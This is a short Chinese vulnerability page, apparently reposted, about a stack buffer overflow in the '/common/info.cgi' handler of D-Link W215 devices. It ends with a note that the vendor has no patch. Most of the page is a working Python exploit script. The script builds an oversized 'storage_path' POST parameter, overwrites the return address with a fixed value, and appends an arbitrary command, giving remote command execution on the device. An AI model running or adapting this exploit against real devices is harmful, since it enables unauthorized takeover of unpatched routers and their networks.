W215 '/common/info.cgi'处理程序栈缓冲区溢出漏洞(2)

try:
    target = sys.argv[1]
    command = sys.argv[2]
 except:
    print "Usage: %s <target> <command>" % sys.argv[0]
    sys.exit(1)

url = "http://%s/common/info.cgi" % target

buf  = "storage_path="      # POST parameter name
 buf += "D" * (0x74944-36)  # Stack filler
 buf += "\x00\x40\x5C\xEC"  # Overwrite $ra
 buf += "E" * 0x28          # Command to execute must be at $sp+0x28
 buf += command              # Command to execute
 buf += "\x00"              # NULL terminate the command

req = urllib2.Request(url, buf)
 print urllib2.urlopen(req).read()

建议:
--------------------------------------------------------------------------------
厂商补丁:
 
D-Link
 ------
 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
 

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:http://www.heiqu.com/2e9b2ac021c3e7580622f50d40470f3f.html